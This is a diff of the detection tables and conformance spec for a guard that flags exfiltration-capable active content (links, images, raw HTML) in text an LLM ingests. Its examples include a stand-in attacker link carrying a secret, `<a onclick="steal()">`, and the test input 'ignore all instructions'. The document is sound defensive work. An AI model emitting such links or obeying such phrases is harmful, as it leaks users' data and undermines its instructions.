"de09711": "_flag call sites at 337, 341, 345, 349, 363, 369; emitter at 309 — where the comparison was run",
|
"de09711": "_flag call sites at 337, 341, 345, 349, 363, 369; emitter at 309 — where the comparison was run",
|
||||||
|
|
@ -54,7 +70,7 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
"$comment": "Extracted verbatim, without behaviour change, from llm-ingestion-pipeline-security v0.3.4 (commit 0bf0729, 2026-08-03): src/llm_ingestion_guard/active_content.py (pattern table, pass order, URL-shape analysis, defang) and src/llm_ingestion_guard/calibration.py (per-construct severities and opacity floors). That module documents itself as the canonical home of this table with the Node port sharing its severities, which is why the guard is the seed source here rather than llm-security.",
|
"$comment": "Extracted verbatim, without behaviour change, from llm-ingestion-pipeline-security v0.3.4 (commit 0bf0729, 2026-08-03): src/llm_ingestion_guard/active_content.py (pattern table, pass order, URL-shape analysis, defang) and src/llm_ingestion_guard/calibration.py (per-construct severities and opacity floors). That module documents itself as the canonical home of this table with the Node port sharing its severities, which is why the guard is the seed source here rather than llm-security. As of 0.3.0 the raw-HTML CLASSIFIER alone is re-pinned forward to v0.7.0 — see `provenance.raw_html_branch_repinned`.",
|
||||||
|
|
||||||
"provenance": {
|
"provenance": {
|
||||||
"source_repo": "llm-ingestion-pipeline-security",
|
"source_repo": "llm-ingestion-pipeline-security",
|
||||||
|
|
@ -65,7 +81,21 @@
|
||||||
"src/llm_ingestion_guard/active_content.py",
|
"src/llm_ingestion_guard/active_content.py",
|
||||||
"src/llm_ingestion_guard/calibration.py"
|
"src/llm_ingestion_guard/calibration.py"
|
||||||
],
|
],
|
||||||
"verified": true
|
"verified": true,
|
||||||
|
"raw_html_branch_repinned": {
|
||||||
|
"$comment": "Two pins, not one, because this file is a hybrid as of 0.3.0 and a single pin would misdescribe both halves. Everything above stays at 0.3.4 / 0bf0729; the raw-HTML classifier (`html`, `gates.active_tag`, the `raw-html` and `raw-html-link` construct entries and the raw-HTML part of `pass_order`) is pinned at v0.7.0 / be9759b.",
|
||||||
|
"source_version": "0.7.0",
|
||||||
|
"source_commit": "be9759b4b3bdb7e6b013fd8e3b4f4f0344ee5833",
|
||||||
|
"source_date": "2026-08-13",
|
||||||
|
"measured_from": "A scratch tree extracted with `git archive v0.7.0`, so the TAG was read rather than whatever the working copy happened to be on — its HEAD was two commits further along at the time (5667063).",
|
||||||
|
"why_the_whole_classifier_and_not_just_the_new_id": "Publishing `active:raw-html-link` on top of the 0.3.4 predicate would have shipped a contract that looks complete and is wrong. Under the 0.3.4 rule a bare `</a>` is active by NAME, and a consumer implementing from that hybrid would emit `active:raw-html-link` for it where the seed runtime at v0.7.0 emits nothing. `active_tag_class` is one function with three branches; the carrier split, the no-URL narrowing and the 0.6.0 external-target requirement cannot be stated separately.",
|
||||||
|
"drift_measured_not_assumed": {
|
||||||
|
"method": "Every regex, severity, tag list and numeric floor this file publishes was compared field-by-field against the v0.7.0 module by importing it and reading the compiled objects — after stripping Python's inline-flag rendering and applying this file's own declared `redundant-quote-escape` normalisation, so a spelling difference could not masquerade as drift.",
|
||||||
|
"date": "2026-08-13",
|
||||||
|
"result": "Exactly ONE published field had drifted: `html.active_tags`. Every construct pattern, every severity, both gate patterns, the whole of `url_shape`, `defang`, `evidence` and the opacity floors are byte-identical at 0.3.4 and at 0.7.0. That is why the re-pin is scoped to the classifier rather than applied to the file as a whole.",
|
||||||
|
"the_one_drift": "`html.active_tags` published the MUTATOR's name set (23 entries, including `base`). At 0.3.4 there was only one set and the name was unambiguous; 0.6.0 split the predicate in two, and the SCANNER's set — which is the one this file's `active_tag` gate means — drops `base` to 22. The published value was therefore naming the wrong set of the two from 0.6.0 onward. Corrected in 0.3.0, with the mutator set kept under `html.mutator_tags` rather than deleted, because a consumer that also defangs needs it and it is the value this file used to publish."
|
||||||
|
}
|
||||||
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
"dialect": {
|
"dialect": {
|
||||||
|
|
@ -112,6 +142,27 @@
|
||||||
"raw-html",
|
"raw-html",
|
||||||
"data-uri"
|
"data-uri"
|
||||||
],
|
],
|
||||||
|
"order_lists_passes_not_constructs": {
|
||||||
|
"$comment": "SIX passes, SEVEN constructs, and the difference is load-bearing as of 0.3.0. Through 0.2.0 the two lists were the same list and a reader could safely treat `order` as an enumeration of `constructs`. That stopped being true when the raw-HTML pass gained a second class. The entries here are unchanged strings — no consumer pinning a value in `order` breaks — but the RELATIONSHIP to `constructs` changed, so it is stated rather than left to be inferred from a length mismatch.",
|
||||||
|
"passes": 6,
|
||||||
|
"constructs": 7,
|
||||||
|
"classes_per_pass": {
|
||||||
|
"markdown-image": ["markdown-image"],
|
||||||
|
"markdown-link": ["markdown-link"],
|
||||||
|
"reference-link": ["reference-link"],
|
||||||
|
"autolink": ["autolink"],
|
||||||
|
"raw-html": ["raw-html", "raw-html-link"],
|
||||||
|
"data-uri": ["data-uri"]
|
||||||
|
},
|
||||||
|
"pass_name_collides_with_a_class_name": "The raw-HTML pass and one of its two classes are both spelled `raw-html`. That is the seed runtime's own spelling and it is reproduced rather than disambiguated, because renaming either would break a published string. Read `order` as passes and `constructs` as classes; `classes_per_pass` above is the only mapping between them."
|
||||||
|
},
|
||||||
|
"raw_html_pass_is_one_scan_two_buckets": {
|
||||||
|
"$comment": "The single most misreadable thing in this file, and the reason it is spelled out. `raw-html` and `raw-html-link` share ONE pattern and ONE scan of the text. A consumer that gives the new class its own pattern and its own pass would scan the tag pattern twice, mask twice, and double-count every document holding both a `<script>` and an `<a href>`.",
|
||||||
|
"rule": "Run the `raw-html` pattern ONCE. For each match, classify it with the `active_tag` gate, which returns `raw-html`, `raw-html-link`, or inert. Append the match to that class's bucket and mask it. Inert matches are NOT masked — they are left in the working text, exactly as the seed runtime leaves them.",
|
||||||
|
"then": "After the single scan, emit one finding per NON-EMPTY bucket, in the order `raw-html` then `raw-html-link`. A document holding both a `<script>` and an `<a href>` therefore produces TWO findings from one pass — the script must not be graded down to the anchor's severity, nor the anchor lost behind the script.",
|
||||||
|
"emission_order": ["raw-html", "raw-html-link"],
|
||||||
|
"one_finding_per_class_still_holds": "See `finding_semantics.one_finding_per_class`. It is per CLASS, not per pass, and was already worded that way — no change was needed there."
|
||||||
|
},
|
||||||
"mask_with": "space",
|
"mask_with": "space",
|
||||||
"mask_preserves_length": true
|
"mask_preserves_length": true
|
||||||
},
|
},
|
||||||
|
|
@ -163,10 +214,27 @@
|
||||||
"flags": [],
|
"flags": [],
|
||||||
"url_group": null,
|
"url_group": null,
|
||||||
"gate": "active_tag",
|
"gate": "active_tag",
|
||||||
"gate_reason": "see `html`: an inherently-executing element, an event handler, or a URL-bearing attribute",
|
"gate_returns": "raw-html",
|
||||||
|
"gate_reason": "see `html`: the execute-class carrier — what a renderer acts on with no human action. An event handler, an inherently-executing or resource-loading element, or a name outside the active set carrying a URL attribute that points somewhere external.",
|
||||||
"severity": "high",
|
"severity": "high",
|
||||||
"has_ordinary_form": false,
|
"has_ordinary_form": false,
|
||||||
"ordinary_exempt_reason": "active whatever the URL looks like — an event handler needs no URL at all"
|
"ordinary_exempt_reason": "active whatever the URL looks like — an event handler needs no URL at all",
|
||||||
|
"membership_narrowed_in_0_3_0": "`<a>` and `<area>` moved OUT of this class into `raw-html-link`, and tags whose whole affordance is a URL they do not carry (`</a>`, `<Frame>`, `<video />`, `<img alt=…>` with no `src`) left both classes. See the top-level `behaviour_change` block."
|
||||||
|
},
|
||||||
|
"raw-html-link": {
|
||||||
|
"syntax": "<a href=...>, <area href=...>",
|
||||||
|
"pattern_shared_with": "raw-html",
|
||||||
|
"pattern_shared_note": "This entry carries NO `pattern` key of its own, and the omission is the point. It is the same pattern, scanned once — see `pass_order.raw_html_pass_is_one_scan_two_buckets`. Copying the pattern here would read as a second pass and double-count.",
|
||||||
|
"flags": [],
|
||||||
|
"url_group": null,
|
||||||
|
"gate": "active_tag",
|
||||||
|
"gate_returns": "raw-html-link",
|
||||||
|
"gate_reason": "see `html`: the click-required carrier — a name in `link_tags` that carries a URL attribute and no event handler. Following it needs a human.",
|
||||||
|
"severity": "medium",
|
||||||
|
"severity_reason": "click-required: the fetch needs a human action — the same grade `markdown-link` has carried since the seed runtime's 0.3.1, and the reason this class exists. Before it, the same URL was MEDIUM as `[t](url)` and HIGH as `<a href=\"url\">`, an asymmetry produced by syntax rather than by affordance.",
|
||||||
|
"has_ordinary_form": false,
|
||||||
|
"ordinary_exempt_reason": "Same as `raw-html`: the raw-HTML classes are graded on carrier, never on URL shape. Applying the ordinary-URL test to raw tags was considered and rejected upstream — real vendor-doc image URLs are largely not ordinary, so it buys little, and it would add a third tier. A consumer that applies `url_shape` here would grade `<a href=\"https://example.com/guide\">` LOW, which no runtime does.",
|
||||||
|
"added_in": "0.3.0"
|
||||||
},
|
},
|
||||||
"data-uri": {
|
"data-uri": {
|
||||||
"syntax": "data:...",
|
"syntax": "data:...",
|
||||||
|
|
@ -191,21 +259,57 @@
|
||||||
"$comment": "Every match is kept; the construct's own pattern already guarantees an external target."
|
"$comment": "Every match is kept; the construct's own pattern already guarantees an external target."
|
||||||
},
|
},
|
||||||
"active_tag": {
|
"active_tag": {
|
||||||
"$comment": "See the `html` section."
|
"$comment": "See the `html` section. As of 0.3.0 this gate is a CLASSIFIER, not a predicate: it returns `raw-html`, `raw-html-link`, or inert. A consumer that keeps it boolean can express the narrowing but not the split, and would collapse both classes into `raw-html` — silently, and in the direction that reads as no change."
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
"html": {
|
"html": {
|
||||||
"$comment": "A raw HTML tag is active if it is an inherently-executing or resource-loading element, carries an event handler, or carries a URL-bearing attribute. Quoted attribute runs are consumed atomically in the tag pattern, because an attribute value may hold `>`.",
|
"$comment": "The raw-HTML classifier. Given a tag's NAME and its ATTRIBUTE run, it returns which of the two carrier classes the tag belongs to, or that it is inert. Quoted attribute runs are consumed atomically in the tag pattern, because an attribute value may hold `>`.",
|
||||||
|
"algorithm": {
|
||||||
|
"$comment": "Ordered, and the order is load-bearing at step 1. Reproduced as steps rather than as prose because three of the four 0.6.0/0.7.0 corrections live in the ORDER and the branch structure, not in the tag lists.",
|
||||||
|
"steps": [
|
||||||
|
"1. If the attribute run matches `event_attr_pattern`, return `raw-html`. This test runs FIRST, before any name test, so an `<a onclick=…>` is graded as the execute-class carrier it is rather than downgraded with the anchors.",
|
||||||
|
"2. Compute `has_url_attr` = whether the attribute run matches `url_attr_pattern`. This is a PRESENCE test on the attribute name; it deliberately does not read the value.",
|
||||||
|
"3. If the name is in `active_tags`: if it is also in `url_affordance_tags` and `has_url_attr` is false, return inert. Otherwise return `raw-html-link` if the name is in `link_tags`, else `raw-html`.",
|
||||||
|
"4. Otherwise the name is outside the active set. Return `raw-html` if `has_url_attr` is true AND the URL attribute names an external target (see `url_attr_external_test`); else inert."
|
||||||
|
],
|
||||||
|
"step_1_order_note": "Swapping steps 1 and 3 would downgrade `<a onclick=\"steal()\">` from HIGH to MEDIUM — an execute-class construct graded as click-required.",
|
||||||
|
"step_3_narrowing_note": "A tag whose ENTIRE active affordance is the URL it names, carrying no URL attribute at all, names no target and no renderer can fetch or follow it. `<base />` made this argument first (upstream 0.6.0) and left the scanner's name set entirely; 0.7.0 applied the same argument to the rest of the name branch via `url_affordance_tags`. Every other member of `active_tags` does something a URL cannot describe — `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays active with no attributes at all.",
|
||||||
|
"step_4_stays_high_note": "The URL-attribute branch deliberately does NOT participate in the split. A name outside the active set has unknown rendering and `href` is not the only URL attribute it may carry, so grading `<Card src=\"…\">` as click-required would be reasoning rather than measurement.",
|
||||||
|
"inert_matches_are_not_masked": "A tag classified inert is left in the working text rather than replaced with spaces, so a later pass can still see it. See `pass_order.raw_html_pass_is_one_scan_two_buckets`."
|
||||||
|
},
|
||||||
"active_tags": [
|
"active_tags": [
|
||||||
|
"a", "applet", "area", "audio", "button", "embed", "form", "frame",
|
||||||
|
"frameset", "iframe", "img", "input", "link", "math", "meta", "object",
|
||||||
|
"script", "source", "style", "svg", "track", "video"
|
||||||
|
],
|
||||||
|
"active_tags_note": "The SCANNER's name set: 22 entries. Through 0.2.0 this key published 23 — the extra one being `base` — which was correct at the 0.3.4 pin, when the runtime had a single name set, and stopped being correct at 0.6.0, when the scanner's and the mutator's sets diverged. `<base>`'s only affordance is its `href`, which step 4 still catches; the attribute-less `<base />` of Azure APIM policy XML has no affordance in any renderer. The full 23 are kept below as `mutator_tags`.",
|
||||||
|
"mutator_tags": [
|
||||||
"a", "applet", "area", "audio", "base", "button", "embed", "form", "frame",
|
"a", "applet", "area", "audio", "base", "button", "embed", "form", "frame",
|
||||||
"frameset", "iframe", "img", "input", "link", "math", "meta", "object",
|
"frameset", "iframe", "img", "input", "link", "math", "meta", "object",
|
||||||
"script", "source", "style", "svg", "track", "video"
|
"script", "source", "style", "svg", "track", "video"
|
||||||
],
|
],
|
||||||
|
"mutator_tags_note": "The set a DEFANGER should use — deliberately broader than the scanner's, and it applies to no finding in this file. Over-defanging costs nothing (the upstream mutator is opt-in and blocks no disposition), while under-defanging would hand a human a live construct. Recorded because it is the value this key published through 0.2.0 and because a consumer that both scans and defangs needs both sets; a consumer that only scans MUST use `active_tags`.",
|
||||||
|
"url_affordance_tags": [
|
||||||
|
"a", "area", "audio", "frame", "frameset", "img", "source", "track", "video"
|
||||||
|
],
|
||||||
|
"url_affordance_tags_note": "Subset of `active_tags` whose entire active affordance IS the URL they name. Used only by step 3. Added in 0.3.0.",
|
||||||
|
"link_tags": ["a", "area"],
|
||||||
|
"link_tags_note": "Subset of `url_affordance_tags` that is click-required: following one needs a human. These and only these produce `active:raw-html-link`. Added in 0.3.0.",
|
||||||
"event_attr_pattern": "\\bon[a-z]+\\s*=",
|
"event_attr_pattern": "\\bon[a-z]+\\s*=",
|
||||||
"event_attr_flags": ["i"],
|
"event_attr_flags": ["i"],
|
||||||
"url_attr_pattern": "\\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)\\s*=",
|
"url_attr_pattern": "\\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)\\s*=",
|
||||||
"url_attr_flags": ["i"],
|
"url_attr_flags": ["i"],
|
||||||
|
"url_attr_external_test": {
|
||||||
|
"$comment": "Step 4 only. Reads the VALUE of each URL-bearing attribute and asks whether any of them names an attacker-reachable target, using the same `external_target_only` gate the markdown paths use. Added in 0.3.0; before upstream 0.6.0 the mere presence of a URL attribute was enough, which graded an MDX `<Card href=\"/en/quickstart\">` — a doc-relative route — as HIGH.",
|
||||||
|
"value_pattern": "\\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)\\s*=\\s*(?<v>\"[^\"]*\"|'[^']*'|[^\\s>]+)",
|
||||||
|
"value_flags": ["i"],
|
||||||
|
"strip_quotes": "If the captured value begins with `\"` or `'`, drop the first and last character.",
|
||||||
|
"candidate_split_pattern": "[,\\s]+",
|
||||||
|
"candidate_split_note": "`srcset` holds a comma-separated candidate list, so an attribute value is not always one URL. Splitting means a relative first candidate cannot mask an external one behind it. Empty candidates are discarded.",
|
||||||
|
"rule": "True if ANY candidate of ANY URL-bearing attribute matches the `external_target_only` gate pattern.",
|
||||||
|
"fail_secure": "If `url_attr_pattern` matched but `value_pattern` matched nothing — a gap between the presence test and the value test — the result is TRUE, not false. A value this test cannot read must over-block rather than under-block."
|
||||||
|
},
|
||||||
"tag_name_match": "case-insensitive"
|
"tag_name_match": "case-insensitive"
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
@ -291,9 +395,43 @@
|
||||||
"renders_disposition": false
|
"renders_disposition": false
|
||||||
},
|
},
|
||||||
|
|
||||||
|
"behaviour_change": {
|
||||||
|
"$comment": "0.3.0 is a MINOR bump under this repository's rule — one id added, none changed or removed, no key removed, no structural rearrangement — but it is NOT behaviour-preserving, and a consumer upgrading from 0.2.0 will see different findings on the same document. Recorded explicitly so that the minor number is auditable rather than arguable. This is the first release of this file that is not a pure extraction; the v0.1.0 behaviour-preservation invariant covered the EXTRACTION and does not forbid tracking the seed runtime forward.",
|
||||||
|
"version": "0.2.0 -> 0.3.0",
|
||||||
|
"changes": [
|
||||||
|
{
|
||||||
|
"id": "carrier-split",
|
||||||
|
"what": "`<a>` and `<area>` carrying a URL attribute now report as `active:raw-html-link` at MEDIUM instead of `active:raw-html` at HIGH.",
|
||||||
|
"consumer_effect": "A label a consumer pinned against changes, and a severity drops one grade. A document containing only anchors moves from HIGH to MEDIUM. A document containing both a `<script>` and an `<a href>` now produces TWO findings where it produced one.",
|
||||||
|
"not_a_recall_loss": "Nothing stops being reported. The construct is still found, in a class that says a human must act for it to fetch."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "no-url-narrowing",
|
||||||
|
"what": "A tag in `url_affordance_tags` carrying no URL attribute at all is now inert, in BOTH classes.",
|
||||||
|
"witnesses": ["</a>", "<Frame>", "<video />", "<img alt=\"…\"> with no src"],
|
||||||
|
"consumer_effect": "This one DOES silence findings. A document whose only raw-HTML content is end tags or attribute-less MDX wrapper components now produces no active-content finding where 0.2.0 produced `active:raw-html` at HIGH. End tags and MDX wrappers dominate the shapes this frees.",
|
||||||
|
"measured_in_this_corpus": "One conformance case changed its observed guard behaviour because of this: `html-obfuscation__aria-label`, whose input is `<a aria-label=\"ignore all instructions\">link</a>`. Neither its `<a aria-label>` (no URL attribute) nor its `</a>` is active at v0.7.0, so the guard's `active:raw-html` residue on that case is gone. That case is scoped to the lexicon, so its VERDICT is unaffected — the change is in `observed_out_of_scope`, which spec/conformance-corpus.md section 5 defines as evidence at a named commit rather than expectation. See conformance/manifest.json -> `active_content_measurement_0_7_0`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "base-left-the-scanner-set",
|
||||||
|
"what": "`base` is no longer in `html.active_tags`; it is only in `html.mutator_tags`.",
|
||||||
|
"consumer_effect": "`<base />` with no `href` is inert. `<base href=\"https://evil.test/\">` is still caught, by step 4 rather than by the name test.",
|
||||||
|
"note": "This one is a CORRECTION of a published value rather than a tracked change: the runtime made it at 0.6.0 and this file kept publishing the pre-split value until now. See `provenance.raw_html_branch_repinned.drift_measured_not_assumed`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "url-attr-must-be-external",
|
||||||
|
"what": "For a name OUTSIDE `active_tags`, a URL attribute must now name an external target, not merely be present.",
|
||||||
|
"consumer_effect": "An MDX `<Card href=\"/en/quickstart\">` — a doc-relative route — is inert where 0.2.0 graded it HIGH. Same correction class as the row above: made upstream at 0.6.0, published here now."
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"direction": "All four changes NARROW or DOWNGRADE. None of them makes this table report something it did not report before, so no consumer gains a new false positive by upgrading. A consumer that depends on the old breadth loses coverage on the four shapes named above, which is the trade the seed runtime measured and shipped.",
|
||||||
|
"why_not_a_major_bump": "This repository's rule triggers MAJOR on a changed or removed key, a changed case id, or a changed file disposition. None occurred: `active:raw-html-link` was added, `html.mutator_tags` preserves the value `html.active_tags` used to carry, and every other key kept its name and its meaning. The argument FOR major is the silenced findings under `no-url-narrowing`, and it is recorded here rather than dismissed — a consumer who reads this and concludes the change is breaking FOR THEM is not misreading the data."
|
||||||
|
},
|
||||||
|
|
||||||
"known_gaps": [
|
"known_gaps": [
|
||||||
"Pure beaconing: a fetch whose only signal is that it happened. No URL shape distinguishes it from an ordinary remote image.",
|
"Pure beaconing: a fetch whose only signal is that it happened. No URL shape distinguishes it from an ordinary remote image.",
|
||||||
"Short opaque segments: a carried value below the opacity length floors grades as ordinary.",
|
"Short opaque segments: a carried value below the opacity length floors grades as ordinary.",
|
||||||
"Hex-wrapped payloads below the URL-token hex floor."
|
"Hex-wrapped payloads below the URL-token hex floor.",
|
||||||
|
"Anchors are graded on carrier, never on URL shape: `<a href=\"https://example.com/guide\">` and `<a href=\"https://evil.test/x?d=SECRET\">` both grade MEDIUM. The upstream runtime considered applying the ordinary-URL test to raw tags and rejected it — see `constructs.raw-html-link.ordinary_exempt_reason`."
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -211,8 +211,10 @@ Reading that absence as "this runtime emits nothing else" would be a claim nobod
|
||||||
## 6. Case ids
|
## 6. Case ids
|
||||||
|
|
||||||
```
|
```
|
||||||
case_id = pattern_id with ":" replaced by "__"
|
case_id = pattern_id with ":" replaced by "__",
|
||||||
pattern_id = case_id with "__" replaced by ":"
|
optionally followed by "--" and a variant slug of [a-z0-9-]
|
||||||
|
pattern_id = case_id truncated at the first "--" if present,
|
||||||
|
then "__" replaced by ":"
|
||||||
```
|
```
|
||||||
|
|
||||||
`:` is not a legal filename character on Windows, and fork-and-own is a supported use of
|
`:` is not a legal filename character on Windows, and fork-and-own is a supported use of
|
||||||
|
|
@ -220,18 +222,53 @@ this repository, so the id space cannot reach the filesystem unchanged. `__` doe
|
||||||
anywhere in the ratified id space, so the transform is one-to-one — verified collision-free
|
anywhere in the ratified id space, so the transform is one-to-one — verified collision-free
|
||||||
across all cases rather than assumed.
|
across all cases rather than assumed.
|
||||||
|
|
||||||
The transform carries a consequence that is easy to miss: **a case id is derived from a
|
`--` does not occur there either: the ratified ids use single hyphens throughout, measured
|
||||||
pattern id alone, so the corpus holds at most one case per `pattern_id` in single-finding
|
across every id space this repository publishes and every case id in the corpus. That
|
||||||
scopes.** There is nowhere in the name to put a second one. That is a real constraint, not a
|
measurement is what keeps the reverse transform **lexical**. A runtime recovers a
|
||||||
formality — a source runtime's own test matrix may well drive two payloads at the same
|
`pattern_id` by splitting the string, and MUST NOT need a lookup against the published id
|
||||||
pattern, as one of the seeding runtimes does for `active:markdown-image`. When it does, the
|
list to find where the id ends and the variant begins — a reverse transform that has to ask
|
||||||
two payloads MUST be compared *within the case's scope* before a second case is minted: if
|
which of two readings is real is a different rule from the one written above, and it fails
|
||||||
their in-scope finding sets are equal, the second case cannot fail in any way the first does
|
on the first id space that is vendored without its lookup table.
|
||||||
not, and its distinguishing signal lies outside the scope where this corpus makes no claim.
|
|
||||||
Such a payload MUST NOT be given a discriminated case id; the derivation rule is the
|
**A `pattern_id` may carry more than one case.** Through corpus version 0.2.0 this section
|
||||||
contract, and a suffix would break the reverse transform. It SHOULD instead be recorded as
|
said the opposite: that a case id derives from a pattern id alone, so a single-finding scope
|
||||||
a named omission in `conformance/manifest.json`, so the drop is visible rather than
|
holds at most one case per pattern id, with nowhere in the name to put a second. Corpus
|
||||||
inferred from a count.
|
version 0.3.0 extended the derivation with the optional suffix above, and the corpus has
|
||||||
|
shipped a case under it since (`hybrid-xss__script-tag--src-no-close`, whose own `$comment`
|
||||||
|
carries the rationale for that one). The superseded sentence is named here rather than edited
|
||||||
|
away, because it was the stated ground on which a real payload was dropped —
|
||||||
|
`omitted_payloads` in [`conformance/manifest.json`](../conformance/manifest.json) records
|
||||||
|
that ground as withdrawn and a second, independent ground as still standing.
|
||||||
|
|
||||||
|
The bar for minting a second case is neither that the two inputs differ, nor that their
|
||||||
|
in-scope finding sets differ:
|
||||||
|
|
||||||
|
> A variant case MAY be minted when the second input can fail, **within the case's scope**,
|
||||||
|
> under a change to a scoped data file that the first input would pass. Where no edit to a
|
||||||
|
> published table separates the two inputs, the second case cannot fail in any way the first
|
||||||
|
> does not, and it MUST NOT be minted.
|
||||||
|
|
||||||
|
Equal in-scope finding sets do not settle that question, and reading them as if they did is
|
||||||
|
the error this paragraph replaces. The corpus's first variant case expects exactly the
|
||||||
|
finding set its base case expects — one `pattern_id`, one scope, one `match` — and still
|
||||||
|
gates something the base cannot: the base input matches the scoped pattern both in its
|
||||||
|
published form and in the stricter form that preceded it, so reinstating the stricter form
|
||||||
|
leaves it passing, while the variant input matches only the published form and fails. The
|
||||||
|
distinguishing signal is *inside* the scope, in the form of the scoped rule itself, which is
|
||||||
|
exactly what a finding-set comparison cannot see.
|
||||||
|
|
||||||
|
The payload that stays out is the mirror image. A source runtime's own test matrix may drive
|
||||||
|
two payloads at the same pattern, as one of the seeding runtimes does for
|
||||||
|
`active:markdown-image`, whose only difference is a signal from a table this repository does
|
||||||
|
not publish. No edit to any scoped file separates them, so the second case could not fail
|
||||||
|
where the first passes. Such a payload SHOULD be recorded as a named omission in
|
||||||
|
`conformance/manifest.json`, so the drop is visible rather than inferred from a count.
|
||||||
|
|
||||||
|
A variant case MUST be scoped and matched exactly like its base case, and MUST expect the
|
||||||
|
same `pattern_id`. **The suffix distinguishes inputs, never findings.** It is not a licence
|
||||||
|
to record a second, different verdict for one rule: two cases at one pattern id expecting
|
||||||
|
different findings within the same scope are not a variant pair, they are the corpus
|
||||||
|
contradicting itself.
|
||||||
|
|
||||||
**A case id is a stable identifier. Changing one is a BREAKING change** and requires a major
|
**A case id is a stable identifier. Changing one is a BREAKING change** and requires a major
|
||||||
bump of the corpus version, exactly like changing a pattern id. Consumers name cases in
|
bump of the corpus version, exactly like changing a pattern id. Consumers name cases in
|
||||||
|
|
@ -247,6 +284,47 @@ This ordering is the whole point of the repository. Two implementations that ret
|
||||||
different verdicts on the same input are not holding different opinions; one of them has a
|
different verdicts on the same input are not holding different opinions; one of them has a
|
||||||
bug.
|
bug.
|
||||||
|
|
||||||
|
### 7.1 Where the second paragraph does not hold
|
||||||
|
|
||||||
|
**Through corpus version 0.8.1 this section stated the rule above with no scope at all**, and
|
||||||
|
the scope was load-bearing: the justification names *two* implementations. Where a case's
|
||||||
|
scope is a table only one runtime implements, and that runtime authored the payload the case
|
||||||
|
was extracted from, there is no second implementation whose disagreement the paragraph could
|
||||||
|
adjudicate. Which cases those are is recorded in the corpus, not asserted per run — see
|
||||||
|
`active_content_provenance.asymmetry` in
|
||||||
|
[`conformance/manifest.json`](../conformance/manifest.json).
|
||||||
|
|
||||||
|
For such a case, a disagreement by the **seed runtime itself** is a third thing, and it is
|
||||||
|
neither of the two the paragraph offers:
|
||||||
|
|
||||||
|
- The fixture is not proven wrong. It recorded that runtime's behaviour correctly at the
|
||||||
|
commit and version its own measurement block pins, and a later classification does not
|
||||||
|
reach back and falsify an earlier measurement.
|
||||||
|
- The runtime does not necessarily have a bug. Where the seed runtime has stated that the
|
||||||
|
classification behind such a table is calibration it does not freeze, a release that
|
||||||
|
classifies the payload differently is a change it reserved, not a defect.
|
||||||
|
|
||||||
|
So: the fixture MUST NOT be rewritten on the strength of the divergence alone; the divergence
|
||||||
|
SHOULD be recorded against the version pinned; and re-pinning the case to a later version of
|
||||||
|
the seed runtime is a separate decision, taken deliberately and released on its own. This is
|
||||||
|
the disposition §5 already applies to a stale `observed_out_of_scope` entry, extended to the
|
||||||
|
one place where it can reach a verdict — and a divergence recorded here is the signal that
|
||||||
|
the re-pinning decision is due, not a reason to leave it open.
|
||||||
|
|
||||||
|
Three things this does **not** do.
|
||||||
|
|
||||||
|
- **It creates no fourth verdict.** The counts of §1.1 and
|
||||||
|
[`schema/conformance-declaration.schema.json`](../schema/conformance-declaration.schema.json)
|
||||||
|
are unchanged: a case whose expected findings are not produced still **fails**, and is still
|
||||||
|
named in `failed_cases`. What changes is what the failure licenses concluding, not what is
|
||||||
|
reported.
|
||||||
|
- **It does not reach a third-party implementer** of the same table. Against them the fixture
|
||||||
|
is the contract, exactly as §7 states — which is what these cases were minted to provide,
|
||||||
|
and the only thing they can prove while one runtime is all there is.
|
||||||
|
- **It is not a licence to self-declare.** The exemption is carried by the corpus's own
|
||||||
|
provenance record for the scope. A runtime MUST NOT claim it for a case by asserting that
|
||||||
|
its own divergence is calibration.
|
||||||
|
|
||||||
## 8. What conformance does and does not prove
|
## 8. What conformance does and does not prove
|
||||||
|
|
||||||
Passing this corpus proves that a runtime agrees with the other runtimes that pass it, on
|
Passing this corpus proves that a runtime agrees with the other runtimes that pass it, on
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue